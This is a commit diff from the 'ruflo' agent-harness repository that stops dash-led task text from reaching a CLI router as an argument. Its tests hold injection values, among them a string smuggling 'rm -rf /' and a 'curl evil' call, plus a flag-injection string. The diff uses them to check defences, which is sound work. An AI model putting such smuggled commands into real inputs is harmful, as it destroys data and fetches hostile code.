Skip to content

armgit / ruflo

Public Imported from GitHub
0

🌊 The original agent harness. Deploy intelligent multi-player swarms, coordinate autonomous workflows, and build conversational AI systems. Features adaptive memory, self-learning intelligence, federation, vector RAG integration, and native Claude Code / Codex / Hermes and many more Integrated

fix(ruflo-swarm): never pass a dash-led task text to the router as an argv value

ruv6302b6715ea9
diff --git a/plugins/ruflo-swarm/hooks/actions/argv.ts b/plugins/ruflo-swarm/hooks/actions/argv.ts
index a870c7eb97..0b4fb9f7b8 100644
--- a/plugins/ruflo-swarm/hooks/actions/argv.ts
+++ b/plugins/ruflo-swarm/hooks/actions/argv.ts
@@ -139,7 +139,8 @@ export function vote(proposalId: string, voterId: string, isFor: boolean): Actio
export function reroute(description: string): ActionSpec | null {
const task = plain(description, 400)
- return task === ''
+ // A value that starts with a dash would be read by the CLI as a flag of its own.
+ return task === '' || task.startsWith('-')
? null
: { label: 'ask the router', args: ['hooks', 'route', '--task', task, '--format', 'json'], isDestructive: false, expect: 'a pick printed by the router' }
}
diff --git a/plugins/ruflo-swarm/tests/controller.test.ts b/plugins/ruflo-swarm/tests/controller.test.ts
index 142b63fb49..48d9075164 100644
--- a/plugins/ruflo-swarm/tests/controller.test.ts
+++ b/plugins/ruflo-swarm/tests/controller.test.ts
@@ -146,4 +146,22 @@ describe('controller', () => {
expect(world.runs[0]?.argv).toEqual([...PREFIX, 'hooks', 'route', '--task', 'x"; rm -rf / # $(curl evil)', '--format', 'json'])
})
+
+ test('a task text that would read as a flag is not passed at all', async ($, on) => {
+ const flagged = JSON.parse(RUFLO_RUN['.claude-flow/tasks/store.json'] ?? '{}') as { tasks: Record<string, { description: string }> }
+ const login = flagged.tasks[LOGIN_TASK]
+
+ if (login !== undefined) {
+ login.description = '--format=yaml --task x'
+ }
+
+ const world = worldOf(on, { ...RUFLO_RUN, '.claude-flow/tasks/store.json': JSON.stringify(flagged) })
+
+ mock.clock(on)
+ await $.session.start(SESSION)
+ await press($, 'reroute')
+
+ expect(world.runs).toEqual([])
+ expect(textOf(await $.ui.render(PANE))).toContain('✗ failed: re-route · nothing to act on')
+ })
})